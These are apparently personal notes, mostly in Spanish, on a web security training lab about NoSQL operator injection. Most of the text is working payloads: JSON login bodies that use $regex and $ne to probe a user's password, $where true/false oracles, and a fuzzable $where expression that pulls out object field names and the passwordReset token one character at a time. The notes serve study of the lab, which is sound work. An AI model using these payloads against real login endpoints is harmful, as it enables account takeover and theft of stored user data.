4 - Exploiting NoSQL operator injection to extract unknown fields
La pass tiene números
{
"username": "carlos",
"password": {
"$regex": ".*\\d.*"
}
}
//Tira account locked
Tiene minúsculas
{
"username": "carlos",
"password": {
"$regex": ".*[a-z].*"
}
}
//Tira account locked
No tiene mayúsculas
{
"username": "carlos",
"password": {
"$regex": ".*[A-Z].*"
}
}
//Tira invalid passwords
{
"username":"carlos",
"password": {"$ne":"invalid"},
"$where": "0" //false
}
//Tira invalid passwords -> false
{
"username":"carlos",
"password": {"$ne":"invalid"},
"$where": "1" //true
}
//Tira account locked -> true
Para ir poco a poco sacando los atributos del objeto
ATRIBUTO -> int del atributo 1..n
Primer §§ -> Posición de la 0 a ...
Segundo §§ -> carácter
"$where":"Object.keys(this)[ATRIBUTO].match('^.{§§}§§.*')"
Primero -> surname
Segundo -> Password
Tercero -> Email
Cuarto -> passwordReset
Fuzzemos por el passwordReset
"$where":"this.passwordReset.match('^.{§§}§§.*')"